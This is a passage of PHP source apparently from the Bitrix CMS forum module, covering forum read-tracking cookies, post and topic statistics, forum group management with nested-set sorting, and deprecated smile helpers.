F.ALLOW_FONT, F.ALLOW_SMILES, F.ALLOW_UPLOAD, F.EVENT1, F.EVENT2,
F.EVENT3, F.ALLOW_NL2BR, ".(!$SITE_ID ? "''" : "FS.PATH2FORUM_MESSAGE")." as PATH2FORUM_MESSAGE, F.ALLOW_UPLOAD_EXT,
F.FORUM_GROUP_ID, F.ASK_GUEST_EMAIL, F.USE_CAPTCHA, F.HTML, FT.HTML AS TOPIC_HTML, F.XML_ID".$arSQL["select"]."
FROM b_forum F
LEFT JOIN b_forum_group FG ON (F.FORUM_GROUP_ID = FG.ID) ".
(!$SITE_ID ? "" : "
LEFT JOIN b_forum2site FS ON (F.ID = FS.FORUM_ID AND FS.SITE_ID = '".$DB->ForSql($SITE_ID)."') ").
$arSQL["join"]."
LEFT JOIN b_forum_message FM ON (F.LAST_MESSAGE_ID = FM.ID)
LEFT JOIN b_forum_topic FT ON (FM.TOPIC_ID = FT.ID)
WHERE (F.ID=".$ID.")";
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$db_res = new _CForumDBResult($db_res, $arAddParams);
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID][$key] = $db_res->Fetch();
if (CACHED_b_forum !== false)
$CACHE_MANAGER->Set($cache_id, $GLOBALS["FORUM_CACHE"]["FORUM"][$ID][$key]);
}
}
return $GLOBALS["FORUM_CACHE"]["FORUM"][$ID][$key];
}
//---------------> Forum labels
public static function InitReadLabels($ID, $arUserGroups) // out-of-date function
{
$ID = intVal($ID);
if ($ID <= 0)
return false;
$arForumCookie = array();
$iCurFirstReadForum = 0;
$read_forum_cookie = COption::GetOptionString("main", "cookie_name", "BITRIX_SM")."_FORUM_0";
if (isset($_COOKIE[$read_forum_cookie]) && strlen($_COOKIE[$read_forum_cookie]) > 0)
{
$arForumCookie = explode("/", $_COOKIE[$read_forum_cookie]);
$i = 0;
while ($i < count($arForumCookie))
{
if (intVal($arForumCookie[$i]) == $ID)
{
$iCurFirstReadForum = intVal($arForumCookie[$i+1]);
break;
}
$i += 2;
}
}
$read_forum_cookie1 = COption::GetOptionString("main", "cookie_name", "BITRIX_SM")."_FORUM_".$ID;
if (isset($_COOKIE[$read_forum_cookie1]) && intVal($_COOKIE[$read_forum_cookie1]) > 0)
{
if ($iCurFirstReadForum < intVal($_COOKIE[$read_forum_cookie1]))
{
$iCurFirstReadForum = intVal($_COOKIE[$read_forum_cookie1]);
}
}
if (strlen($_SESSION["first_read_forum_".$ID])<=0 || intVal($_SESSION["first_read_forum_".$ID])<0)
{
$_SESSION["first_read_forum_".$ID] = $iCurFirstReadForum;
}
if (is_null($_SESSION["read_forum_".$ID]) || strlen($_SESSION["read_forum_".$ID])<=0)
{
$_SESSION["read_forum_".$ID] = "0";
}
$iLastPostID = 0;
$strPerms = CForumNew::GetUserPermission($ID, $arUserGroups);
if ($strPerms > "Q"):
$db_res = CForumMessage::GetList(array("ID"=>"DESC"), array("FORUM_ID" => $ID, "APPROVED" => "N"), false, 1);
if ($db_res && $res = $db_res->Fetch()):
$iLastPostID = intVal($res["ID"]);
endif;
endif;
if ($iLastPostID <= 0):
$res = CForumNew::GetByID($ID);
$iLastPostID = intVal($res["LAST_MESSAGE_ID"]);
endif;
if ($iLastPostID > 0)
{
$i = 0;
$arCookieVal = array();
while ($i < count($arForumCookie))
{
if (intVal($arForumCookie[$i]) != $ID)
{
$arCookieVal[] = intVal($arForumCookie[$i])."/".intVal($arForumCookie[$i + 1]);
}
$i += 2;
}
$arCookieVal[] = $ID."/".$iLastPostID;
//$GLOBALS["APPLICATION"]->set_cookie($read_forum_cookie, $strCookieVal, false, "/", false, false, "Y", "");
$GLOBALS["APPLICATION"]->set_cookie("FORUM_0", implode("/", $arCookieVal), false, "/", false, false, "Y", false);
}
return true;
}
public static function SetLabelsBeRead($ID, $arUserGroups) // out-of-date function
{
$ID = intVal($ID);
$_SESSION["read_forum_".$ID] = "0";
$strPerms = CForumNew::GetUserPermission($ID, $arUserGroups);
$iCurFirstReadForum = 0;
if ($strPerms > "Q"):
$db_res = CForumMessage::GetList(array("ID"=>"DESC"), array("FORUM_ID" => $ID, "APPROVED" => "N"), false, 1);
if ($db_res && $res = $db_res->Fetch()):
$iCurFirstReadForum = intVal($res["ID"]);
endif;
endif;
$res = CForumNew::GetByID($ID);
$iCurFirstReadForum = intVal($res["LAST_MESSAGE_ID"]);
$_SESSION["first_read_forum_".$ID] = $iCurFirstReadForum;
$arForumCookie = array();
$read_forum_cookie = COption::GetOptionString("main", "cookie_name", "BITRIX_SM")."_FORUM_0";
if (isset($_COOKIE[$read_forum_cookie]) && strlen($_COOKIE[$read_forum_cookie])>0)
{
$arForumCookie = explode("/", $_COOKIE[$read_forum_cookie]);
}
$i = 0;
$arCookieVal = array();
while ($i < count($arForumCookie))
{
if (intVal($arForumCookie[$i])!=$ID)
{
$arCookieVal[] = intVal($arForumCookie[$i])."/".intVal($arForumCookie[$i+1]);
}
$i += 2;
}
$arCookieVal[] = $ID."/".$iCurFirstReadForum;
$_COOKIE[$read_forum_cookie] = implode("/", $arCookieVal);
// $GLOBALS["APPLICATION"]->set_cookie($read_forum_cookie, $strCookieVal, false, "/", false, false, "Y", "");
$GLOBALS["APPLICATION"]->set_cookie("FORUM_0", implode("/", $arCookieVal), false, "/", false, false, "Y", false);
return true;
}
//---------------> Forum utils
public static function SetStat($ID = 0, $arParams = array())
{
global $DB;
$ID = intVal($ID);
if ($ID <= 0):
return false;
endif;
$arParams = (is_array($arParams) ? $arParams : array());
$arMessage = (is_array($arParams["MESSAGE"]) ? $arParams["MESSAGE"] : array());
if ($arMessage["FORUM_ID"] != $ID)
$arMessage = array();
$arForum = CForumNew::GetByID($ID);
$arParams["ACTION"] = ($arParams["ACTION"] == "DECREMENT" || $arParams["ACTION"] == "UPDATE" ? $arParams["ACTION"] : "INCREMENT");
$arParams["POSTS"] = intVal($arParams["POSTS"] > 0 ? $arParams["POSTS"] : 1);
$arFields = array();
if (empty($arMessage))
{
// full recount
}
elseif ($arParams["ACTION"] == "INCREMENT")
{
if ($arMessage["ID"] > $arForum["ABS_LAST_MESSAGE_ID"]):
$arFields["ABS_LAST_POSTER_ID"] = ((intVal($arMessage["AUTHOR_ID"])>0) ? $arMessage["AUTHOR_ID"] : false);
$arFields["ABS_LAST_POSTER_NAME"] = $arMessage["AUTHOR_NAME"];
$arFields["ABS_LAST_POST_DATE"] = $arMessage["POST_DATE"];
$arFields["ABS_LAST_MESSAGE_ID"] = $arMessage["ID"];
if ($arMessage["APPROVED"] == "Y"):
$arFields["LAST_POSTER_ID"] = $arFields["ABS_LAST_POSTER_ID"];
$arFields["LAST_POSTER_NAME"] = $arFields["ABS_LAST_POSTER_NAME"];
$arFields["LAST_POST_DATE"] = $arFields["ABS_LAST_POST_DATE"];
$arFields["LAST_MESSAGE_ID"] = $arFields["ABS_LAST_MESSAGE_ID"];
endif;
endif;
if ($arMessage["APPROVED"] == "Y"):
$arFields["=POSTS"] = "POSTS+1";
if ($arMessage["NEW_TOPIC"] == "Y"):
$arFields["=TOPICS"] = "TOPICS+1";
endif;
else:
$arFields["=POSTS_UNAPPROVED"] = "POSTS_UNAPPROVED+1";
endif;
}
elseif ($arMessage["ID"] > $arForum["ABS_LAST_MESSAGE_ID"])
{
// full recount
}
elseif ($arParams["ACTION"] == "DECREMENT" &&
($arMessage["ID"] == $arForum["ABS_LAST_MESSAGE_ID"] || $arMessage["ID"] == $arForum["LAST_MESSAGE_ID"]))
{
// full recount
}
elseif ($arParams["ACTION"] == "DECREMENT")
{
if ($arMessage["APPROVED"] == "Y"):
$arFields["=POSTS"] = "POSTS-1";
if ($arMessage["NEW_TOPIC"] == "Y"):
$arFields["=TOPICS"] = "TOPICS-1";
endif;
else:
$arFields["=POSTS_UNAPPROVED"] = "POSTS_UNAPPROVED-1";
endif;
}
elseif ($arParams["ACTION"] == "UPDATE")
{
if ($arMessage["APPROVED"] == "Y"):
if ($arMessage["ID"] > $arForum["LAST_MESSAGE_ID"]):
$arFields["LAST_POSTER_ID"] = ((intVal($arMessage["AUTHOR_ID"])>0) ? $arMessage["AUTHOR_ID"] : false);
$arFields["LAST_POSTER_NAME"] = $arMessage["AUTHOR_NAME"];
$arFields["LAST_POST_DATE"] = $arMessage["POST_DATE"];
$arFields["LAST_MESSAGE_ID"] = $arMessage["ID"];
endif;
$arFields["=POSTS"] = "POSTS+1";
$arFields["=POSTS_UNAPPROVED"] = "POSTS_UNAPPROVED-1";
if ($arMessage["NEW_TOPIC"] == "Y"):
$arFields["=TOPICS"] = "TOPICS+1";
endif;
elseif ($arMessage["ID"] != $arForum["LAST_MESSAGE_ID"]):
$arFields["=POSTS"] = "POSTS-1";
$arFields["=POSTS_UNAPPROVED"] = "POSTS_UNAPPROVED+1";
if ($arMessage["NEW_TOPIC"] == "Y"):
$arFields["=TOPICS"] = "TOPICS-1";
endif;
endif;
}
if (empty($arFields))
{
$res = CForumMessage::GetList(array(), array("FORUM_ID" => $ID), "cnt_not_approved");
$res = (is_array($res) ? $res : array());
$res["CNT"] = intVal($res["CNT"]) - intVal($res["CNT_NOT_APPROVED"]);
$res["CNT"] = ($res["CNT"] > 0 ? $res["CNT"] : 0);
$arFields = array(
"TOPICS" => CForumTopic::GetList(array(), array("FORUM_ID" => $ID, "APPROVED" => "Y"), true),
"POSTS" => $res["CNT"],
"LAST_POSTER_ID" => false,
"LAST_POSTER_NAME" => false,
"LAST_POST_DATE" => false,
"LAST_MESSAGE_ID" => intVal($res["LAST_MESSAGE_ID"]),
"POSTS_UNAPPROVED" => intVal($res["CNT_NOT_APPROVED"]),
"ABS_LAST_POSTER_ID" => false,
"ABS_LAST_POSTER_NAME" => false,
"ABS_LAST_POST_DATE" => false,
"ABS_LAST_MESSAGE_ID" => intVal($res["ABS_LAST_MESSAGE_ID"]));
if ($arFields["ABS_LAST_MESSAGE_ID"] > 0):
$res = CForumMessage::GetByID($arFields["ABS_LAST_MESSAGE_ID"], array("FILTER" => "N"));
$arFields["ABS_LAST_POSTER_ID"] = (intVal($res["AUTHOR_ID"]) > 0 ? $res["AUTHOR_ID"] : false);
$arFields["ABS_LAST_POSTER_NAME"] = $res["AUTHOR_NAME"];
$arFields["ABS_LAST_POST_DATE"] = $res["POST_DATE"];
if (intVal($arFields["LAST_MESSAGE_ID"]) > 0):
if ($arFields["LAST_MESSAGE_ID"] < $arFields["ABS_LAST_MESSAGE_ID"]):
$res = CForumMessage::GetByID($arFields["LAST_MESSAGE_ID"], array("FILTER" => "N"));
endif;
$arFields["LAST_POSTER_ID"] = (intVal($res["AUTHOR_ID"]) > 0 ? $res["AUTHOR_ID"] : false);
$arFields["LAST_POSTER_NAME"] = $res["AUTHOR_NAME"];
$arFields["LAST_POST_DATE"] = $res["POST_DATE"];
endif;
endif;
}
if (!CForumNew::CheckFields("UPDATE", $arFields))
return false;
$strUpdate = $DB->PrepareUpdate("b_forum", $arFields);
if (!empty($arFields)):
$res = array();
foreach ($arFields as $key => $val):
if (substr($key, 0, 1) == "="):
$key = substr($key, 1);
if (!empty($key)):
$res[] = $key."=".(empty($val) ? $key."+1" : $val);
endif;
endif;
endforeach;
if (!empty($res)):
$strUpdate = (empty($strUpdate) ? "" : $strUpdate.",");
$strUpdate .= implode(", ", $res);
endif;
endif;
if (empty($strUpdate))
return false;
$strSql = "UPDATE b_forum SET ".$strUpdate." WHERE ID=".$ID;
return $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
/**
* Replace path to forum message link.
* @param string|null $strPath
* @param array $arVals
* @return string|array
*/
public static function PreparePath2Message($strPath, $arVals = array())
{
if (!is_array($arVals))
{
$arVals = array();
}
$pattern = array(
'#MESSAGE_ID#' => $arVals['MESSAGE_ID'],
'#MID#' => $arVals['MESSAGE_ID'],
'#TOPIC_ID#' => $arVals['TOPIC_ID'],
'#TID#' => $arVals['TOPIC_ID'],
'#TITLE_SEO#' => $arVals['TITLE_SEO'],
'#FORUM_ID#' => $arVals['FORUM_ID'],
'#FID#' => $arVals['FORUM_ID'],
'#PARAM1#' => $arVals['PARAM1'],
'#PARAM2#' => $arVals['PARAM2'],
'#SOCNET_GROUP_ID#' => $arVals['SOCNET_GROUP_ID'],
'#OWNER_ID#' => $arVals['OWNER_ID']
);
if ($strPath === NULL)
{
return array_keys($pattern);
}
$strPath = trim($strPath);
if ($strPath == '')
{
return '';
}
$strPath = preg_replace('/([^:])(\/{2,})/', '$1/', $strPath);
$strPath = str_replace(
array_keys($pattern),
array_values($pattern),
$strPath
);
return $strPath;
}
//---------------> Forum actions
public static function OnGroupDelete($GROUP_ID)
{
global $DB;
return $DB->Query("DELETE FROM b_forum_perms WHERE GROUP_ID=".intVal($GROUP_ID), true);
}
public static function OnBeforeLangDelete($lang)
{
global $DB;
$r = CForumNew::GetList(array(), array("LID"=>$lang));
return ($r->Fetch()?false:true);
}
public static function OnPanelCreate() // out-of-date function
{
return false;
}
public static function OnReindex($NS = array(), $oCallback = NULL, $callback_method = "")
{
return CForumNew::reindex($NS, $oCallback, $callback_method);
}
public static function ShowPanel($FID, $TID=0, $bGetIcons=false)
{
global $APPLICATION, $REQUEST_URI, $USER;
if(!(($USER->IsAuthorized() || $APPLICATION->ShowPanel===true) && $APPLICATION->ShowPanel!==false))
return;
if (!CModule::IncludeModule("forum"))
return;
$arButtons = array();
$module_permission = $APPLICATION->GetGroupRight("forum");
if ($module_permission > "D")
{
$arButtons[] = array(
"TEXT" => GetMessage("F_FORUMS_LIST"),
"IMAGE" => "/bitrix/images/forum/toolbar_button1.gif",
"ACTION" => "jsUtils.Redirect(arguments, '/bitrix/admin/forum_admin.php')");
if ($module_permission >= "W" && intVal($FID) > 0 &&
CForumNew::CanUserUpdateForum($FID, $USER->GetUserGroupArray(), $USER->GetID()))
{
$arButtons[] = array(
"TEXT" => GetMessage("F_FORUM_EDIT"),
"IMAGE" => "/bitrix/images/forum/toolbar_button2.gif",
"ACTION" => "jsUtils.Redirect(arguments, '/bitrix/admin/forum_edit.php?ID=".intVal($FID)."')");
}
}
if (!empty($arButtons))
{
$arButton = array(
"SRC" => "/bitrix/images/forum/toolbar_button1.gif",
"ALT" => GetMessage("F_FORUM_TITLE"),
"TEXT" => GetMessage("F_FORUM"),
"MAIN_SORT" => 300,
"MENU" => $arButtons,
"MODE" => 'configure');
$APPLICATION->AddPanelButton($arButton);
}
}
public static function ClearHTML($ID)
{
global $DB;
$ID = intVal($ID);
$strSql = "UPDATE b_forum_message SET POST_MESSAGE_HTML='', POST_MESSAGE_FILTER='', HTML = '' WHERE FORUM_ID=".$ID;
$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
return true;
}
}
/**********************************************************************/
/************** FORUM GROUP *******************************************/
/**********************************************************************/
class CAllForumGroup
{
//---------------> User insert, update, delete
public static function CanUserAddGroup($arUserGroups)
{
return CForumUser::IsAdmin($arUserGroups);
}
public static function CanUserUpdateGroup($ID, $arUserGroups)
{
return CForumUser::IsAdmin($arUserGroups);
}
public static function CanUserDeleteGroup($ID, $arUserGroups)
{
return CForumUser::IsAdmin($arUserGroups);
}
public static function CheckFields($ACTION, &$arFields, $ID = false)
{
$aMsg = array();
if (is_set($arFields, "LANG") || $ACTION=="ADD")
{
$res = (is_array($arFields["LANG"]) ? $arFields["LANG"] : array());
foreach ($res as $i => $val)
{
if (empty($res[$i]["LID"]) || empty($res[$i]["NAME"]))
{
unset($res[$i]);
}
}
$db_lang = CLanguage::GetList(($b="sort"), ($o="asc"));
while ($arLang = $db_lang->Fetch())
{
$bFound = false;
foreach ($res as $i => $val)
{
if (($res[$i]["LID"]==$arLang["LID"]) && (trim($res[$i]["NAME"]) !== ""))
$bFound = true;
}
if (!$bFound)
{
$aMsg[] = array(
"id"=>'FORUM_GROUP[LANG]['.$arLang["LID"].'][NAME]',
"text" => GetMessage("FG_ERROR_EMPTY_LID",
array("#LID#" => $arLang["LID"], "#LID_NAME#" => $arLang["NAME"])));
}
}
}
if ((is_set($arFields, "SORT") || $ACTION=="ADD") && intVal($arFields["SORT"])<=0) $arFields["SORT"] = 150;
if ((is_set($arFields, "PARENT_ID") || $ACTION=="ADD")) $arFields["PARENT_ID"] = (intVal($arFields["PARENT_ID"]) > 0 ? intVal($arFields["PARENT_ID"]) : false);
if ($arFields["PARENT_ID"])
{
if ($ACTION != "ADD" && $ID == $arFields["PARENT_ID"])
{
$aMsg[] = array(
"id" => 'FORUM_GROUP[PARENT_ID]',
"text" => GetMessage("FG_ERROR_SELF_PARENT_ID"));
}
else
{
$res = CForumGroup::GetByID($arFields["PARENT_ID"]);
if (!$res)
{
$aMsg[] = array(
"id" => 'FORUM_GROUP[PARENT_ID]',
"text" => GetMessage("FG_ERROR_EMPTY_PARENT_ID"));
}
elseif ($ACTION != "ADD")
{
$res1 = CForumGroup::GetByID($ID);
if ($res1["LEFT_MARGIN"] < $res["LEFT_MARGIN"] && $res["RIGHT_MARGIN"] < $res1["RIGHT_MARGIN"])
$aMsg[] = array(
"id" => 'FORUM_GROUP[PARENT_ID]',
"text" => GetMessage("FG_ERROR_PARENT_ID_IS_CHILD"));
}
}
}
if(!empty($aMsg))
{
$e = new CAdminException(array_reverse($aMsg));
$GLOBALS["APPLICATION"]->ThrowException($e);
return false;
}
return true;
}
public static function Delete($ID)
{
global $DB;
$ID = intVal($ID);
$aMsg = array();
$res = CForumGroup::GetByIDEx($ID, LANGUAGE_ID);
if (!$res)
return true;
$db_res = CForumGroup::GetList(array(), array("PARENT_ID" => $ID));
if ($db_res->Fetch())
$aMsg[] = array(
"id" => 'FORUM_GROUP_GROUPS',
"text" => str_replace(array("#GROUP_NAME#", "#GROUP_ID#"), array($res["NAME"], $ID), GetMessage("FG_ERROR_CONTENT_GROUP")));
$db_res = CForumNew::GetList(array(), array("FORUM_GROUP_ID" => $ID));
if ($db_res->Fetch())
$aMsg[] = array(
"id" => 'FORUM_GROUP_FORUMS',
"text" => str_replace(array("#GROUP_NAME#", "#GROUP_ID#"), array($res["NAME"], $ID), GetMessage("FG_ERROR_CONTENT_FORUM")));
if(!empty($aMsg))
{
$e = new CAdminException(array_reverse($aMsg));
$GLOBALS["APPLICATION"]->ThrowException($e);
return false;
}
if(CACHED_b_forum_group !== false)
$GLOBALS["CACHE_MANAGER"]->CleanDir("b_forum_group");
$DB->Query("DELETE FROM b_forum_group_lang WHERE FORUM_GROUP_ID = ".$ID, true);
$DB->Query("DELETE FROM b_forum_group WHERE ID = ".$ID, true);
CAllForumGroup::Resort();
return true;
}
public static function GetList($arOrder = array("SORT"=>"ASC"), $arFilter = array())
{
global $DB;
$arSqlSearch = Array();
$strSqlSearch = "";
$arSqlOrder = Array();
$strSqlOrder = "";
$arFilter = (is_array($arFilter) ? $arFilter : array());
foreach ($arFilter as $key => $val)
{
$key_res = CForumNew::GetFilterOperation($key);
$key = strtoupper($key_res["FIELD"]);
$strNegative = $key_res["NEGATIVE"];
$strOperation = $key_res["OPERATION"];
switch ($key)
{
case "ID":
case "SORT":
case "PARENT_ID":
case "LEFT_MARGIN":
case "RIGHT_MARGIN":
case "DEPTH_LEVEL":
if (intVal($val)<=0)
$arSqlSearch[] = ($strNegative=="Y"?"NOT":"")."(FR.".$key." IS NULL OR FR.".$key."<=0)";
else
$arSqlSearch[] = ($strNegative=="Y"?" FR.".$key." IS NULL OR NOT ":"")."(FR.".$key." ".$strOperation." ".intVal($val)." )";
break;
}
}
if (!empty($arSqlSearch))
$strSqlSearch = "WHERE (".implode(") AND (", $arSqlSearch).") ";
foreach ($arOrder as $by=>$order)
{
$by = strtoupper($by); $order = strtoupper($order);
if ($order!="ASC") $order = "DESC";
if ($by == "ID") $arSqlOrder[] = " FR.ID ".$order." ";
elseif ($by == "LEFT_MARGIN") $arSqlOrder[] = " FR.LEFT_MARGIN ".$order." ";
else
{
$arSqlOrder[] = " FR.SORT ".$order." ";
$by = "SORT";
}
}
DelDuplicateSort($arSqlOrder);
if (!empty($arSqlOrder))
$strSqlOrder = " ORDER BY ".implode(", ", $arSqlOrder);
$strSql =
"SELECT FR.ID, FR.SORT, FR.PARENT_ID, FR.LEFT_MARGIN, FR.RIGHT_MARGIN, FR.DEPTH_LEVEL ".
"FROM b_forum_group FR ".
$strSqlSearch." ".
$strSqlOrder." ";
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
return $db_res;
}
public static function GetListEx($arOrder = array("SORT"=>"ASC"), $arFilter = array())
{
global $DB;
$arSqlSearch = Array();
$strSqlSearch = "";
$arSqlOrder = Array();
$strSqlOrder = "";
$arFilter = (is_array($arFilter) ? $arFilter : array());
foreach ($arFilter as $key => $val)
{
$key_res = CForumNew::GetFilterOperation($key);
$key = strtoupper($key_res["FIELD"]);
$strNegative = $key_res["NEGATIVE"];
$strOperation = $key_res["OPERATION"];
switch ($key)
{
case "ID":
case "SORT":
case "PARENT_ID":
case "LEFT_MARGIN":
case "RIGHT_MARGIN":
case "DEPTH_LEVEL":
if (intVal($val)<=0)
$arSqlSearch[] = ($strNegative=="Y"?"NOT":"")."(FR.".$key." IS NULL OR FR.".$key."<=0)";
else
$arSqlSearch[] = ($strNegative=="Y"?" FR.".$key." IS NULL OR NOT ":"")."(FR.".$key." ".$strOperation." ".intVal($val)." )";
break;
case "LID":
if (strlen($val)<=0)
$arSqlSearch[] = ($strNegative=="Y"?"NOT":"")."(FRL.LID IS NULL OR ".($DB->type == "MSSQL" ? "LEN" : "LENGTH")."(FRL.LID)<=0)";
else
$arSqlSearch[] = ($strNegative=="Y"?" FRL.LID IS NULL OR NOT ":"")."(FRL.LID ".$strOperation." '".$DB->ForSql($val)."' )";
break;
}
}
if (!empty($arSqlSearch))
$strSqlSearch = " WHERE (".implode(") AND (", $arSqlSearch).") ";
foreach ($arOrder as $by=>$order)
{
$by = strtoupper($by); $order = strtoupper($order);
if ($order!="ASC") $order = "DESC";
if ($by == "ID") $arSqlOrder[] = " FR.ID ".$order." ";
elseif ($by == "LID") $arSqlOrder[] = " FRL.LID ".$order." ";
elseif ($by == "NAME") $arSqlOrder[] = " FRL.NAME ".$order." ";
elseif ($by == "LEFT_MARGIN") $arSqlOrder[] = " FR.LEFT_MARGIN ".$order." ";
else
{
$arSqlOrder[] = " FR.SORT ".$order." ";
$by = "SORT";
}
}
DelDuplicateSort($arSqlOrder);
if (!empty($arSqlOrder))
$strSqlOrder = "ORDER BY ".implode(", ", $arSqlOrder);
$strSql =
"SELECT FR.ID, FR.SORT, FR.PARENT_ID, FR.LEFT_MARGIN, FR.RIGHT_MARGIN, FR.DEPTH_LEVEL, FRL.LID, FRL.NAME, FRL.DESCRIPTION ".
"FROM b_forum_group FR ".
" LEFT JOIN b_forum_group_lang FRL ON FR.ID = FRL.FORUM_GROUP_ID ".
$strSqlSearch." ".
$strSqlOrder." ";
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
return $db_res;
}
public static function GetByID($ID)
{
global $DB;
$ID = intVal($ID);
$strSql =
"SELECT FR.ID, FR.SORT, FR.PARENT_ID, FR.LEFT_MARGIN, FR.RIGHT_MARGIN, FR.DEPTH_LEVEL FROM b_forum_group FR WHERE FR.ID = ".$ID."";
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if ($res = $db_res->Fetch())
{
return $res;
}
return false;
}
public static function GetByIDEx($ID, $LANGUAGE_ID)
{
global $DB, $CACHE_MANAGER;
$ID = intVal($ID);
$LANGUAGE_ID = (!empty($LANGUAGE_ID) ? $LANGUAGE_ID : LANGUAGE_ID);
$key = $ID."_".$LANGUAGE_ID;
$cache_id = "b_forum_group".$key;
if ($ID <= 0):
return false;
elseif (!is_array($GLOBALS["FORUM_CACHE"]["GROUP"])):
$GLOBALS["FORUM_CACHE"]["GROUP"] = array();
endif;
if (!array_key_exists($key, $GLOBALS["FORUM_CACHE"]["GROUP"]))
{
if (CACHED_b_forum_group !== false && $CACHE_MANAGER->Read(CACHED_b_forum_group, $cache_id, "b_forum_group"))
{
$GLOBALS["FORUM_CACHE"]["GROUP"][$key] = $CACHE_MANAGER->Get($cache_id);
}
else
{
$strSql = "SELECT FR.ID, FRL.LID, FRL.NAME, FR.SORT, FRL.DESCRIPTION,
FR.PARENT_ID, FR.LEFT_MARGIN, FR.RIGHT_MARGIN, FR.DEPTH_LEVEL ".
"FROM b_forum_group FR ".
" LEFT JOIN b_forum_group_lang FRL ON (FR.ID = FRL.FORUM_GROUP_ID AND FRL.LID = '".$DB->ForSql($LANGUAGE_ID)."') ".
"WHERE FR.ID = ".$ID."";
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$GLOBALS["FORUM_CACHE"]["GROUP"][$key] = $db_res->Fetch();
if (CACHED_b_forum_group !== false)
$CACHE_MANAGER->Set($cache_id, $GLOBALS["FORUM_CACHE"]["GROUP"][$key]);
}
}
return $GLOBALS["FORUM_CACHE"]["GROUP"][$key];
}
public static function GetLangByID($FORUM_GROUP_ID, $strLang)
{
global $DB;
$FORUM_GROUP_ID = intVal($FORUM_GROUP_ID);
$strSql =
"SELECT FRL.ID, FRL.FORUM_GROUP_ID, FRL.LID, FRL.NAME, FRL.DESCRIPTION ".
"FROM b_forum_group_lang FRL ".
"WHERE FRL.FORUM_GROUP_ID = ".$FORUM_GROUP_ID." ".
" AND FRL.LID = '".$DB->ForSql($strLang)."' ";
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if ($res = $db_res->Fetch())
{
return $res;
}
return false;
}
public static function GetByLang($LANGUAGE_ID)
{
global $CACHE_MANAGER;
$LANGUAGE_ID = (!empty($LANGUAGE_ID) ? $LANGUAGE_ID : LANGUAGE_ID);
$cache_id = "b_forum_group".$LANGUAGE_ID;
if (!is_array($GLOBALS["FORUM_CACHE"]["GROUPS"])):
$GLOBALS["FORUM_CACHE"]["GROUPS"] = array();
endif;
if (!array_key_exists($LANGUAGE_ID, $GLOBALS["FORUM_CACHE"]["GROUPS"]))
{
if (CACHED_b_forum_group !== false && $CACHE_MANAGER->Read(CACHED_b_forum_group, $cache_id, "b_forum_group"))
{
$GLOBALS["FORUM_CACHE"]["GROUPS"][$LANGUAGE_ID] = $CACHE_MANAGER->Get($cache_id);
}
else
{
$arRes = array();
$db_res = CForumGroup::GetListEx(array("LEFT_MARGIN" => "ASC", "SORT" => "ASC"), array("LID" => $LANGUAGE_ID));
while ($res = $db_res->GetNext())
$arRes[intVal($res["ID"])] = $res;
$GLOBALS["FORUM_CACHE"]["GROUPS"][$LANGUAGE_ID] = $arRes;
if (CACHED_b_forum_group !== false)
$CACHE_MANAGER->Set($cache_id, $GLOBALS["FORUM_CACHE"]["GROUPS"][$LANGUAGE_ID]);
}
}
return $GLOBALS["FORUM_CACHE"]["GROUPS"][$LANGUAGE_ID];
}
public static function Resort($ID=0, $cnt=0, $depth=0)
{
global $DB;
$ID = intVal($ID);
if($ID > 0)
$DB->Query("UPDATE b_forum_group SET RIGHT_MARGIN=".intVal($cnt).", LEFT_MARGIN=".intVal($cnt)." WHERE ID=".intVal($ID));
$strSql = "SELECT FG.ID, FG.PARENT_ID FROM b_forum_group FG WHERE ".($ID>0?"FG.PARENT_ID=".$ID:"FG.PARENT_ID IS NULL")." ORDER BY FG.SORT ASC";
$cnt++;
$db_res = $DB->Query($strSql);
while ($res = $db_res->Fetch())
$cnt = CAllForumGroup::ReSort($res["ID"], $cnt, $depth+1);
if($ID == 0)
return true;
$DB->Query("UPDATE b_forum_group SET RIGHT_MARGIN=".intVal($cnt).", DEPTH_LEVEL=".intVal($depth)." WHERE ID=".intVal($ID));
return $cnt+1;
}
}
/**********************************************************************/
/************** FORUM SMILE *******************************************/
/**********************************************************************/
class CForumSmile
{
static $smiles = array();
static $sets = array();
public static function Add()
{
return false;
}
public static function CheckFields()
{
return false;
}
public static function Update()
{
return false;
}
public static function Delete()
{
return false;
}
public static function GetList()
{
global $DB;
return $DB->Query("", false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
public static function GetListEx()
{
global $DB;
return $DB->Query("", false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
public static function GetByID()
{
return false;
}
public static function GetByIDEx($ID, $strLang)
{
return false;
}
public static function GetLangByID($SMILE_ID, $strLang)
{
return false;
}
/**
* @deprecated
* @param $type
* @param $lang
* @return mixed
*/
public static function GetByType($type, $lang)
{
if (COption::GetOptionInt("forum", "smile_native_gallery_id", 0) <= 0)
return self::getSmiles($type, $lang);
$type = ($type == "I" ? CSmile::TYPE_ICON : CSmile::TYPE_SMILE);
$key = "old_".$type."_".$lang;
if (!array_key_exists($key, self::$smiles))
{
$smiles = CSmile::getByGalleryId($type, COption::GetOptionInt("forum", "smile_native_gallery_id", 0), $lang);
$result = array();
foreach ($smiles as $smile)
{
if ($smile['HIDDEN'] == 'Y')
continue;
$result[] = array(
'ID' => $smile['ID'],
'TYPE' => $type,
'TYPING' => $smile['TYPING'],
'IMAGE' => $smile["IMAGE"],
'DESCRIPTION' => '',
'CLICKABLE' => 'Y',
'SORT' => $smile['SORT'],
'IMAGE_WIDTH' => $smile['IMAGE_WIDTH'],
'IMAGE_HEIGHT' => $smile['IMAGE_HEIGHT'],
'SET_ID' => $smile['SET_ID'],
'NAME' => $smile['NAME'],
'WIDTH' => $smile['IMAGE_WIDTH'],
'HEIGHT' => $smile['IMAGE_HEIGHT'],
);
}
self::$smiles[$key] = $result;
}
return self::$smiles[$key];
}
public static function getSmiles($type, $lang)
{
$type = ($type == "I" ? CSmile::TYPE_ICON : CSmile::TYPE_SMILE);
$key = "new_".$type."_".$lang;
if (!array_key_exists($key, self::$smiles))
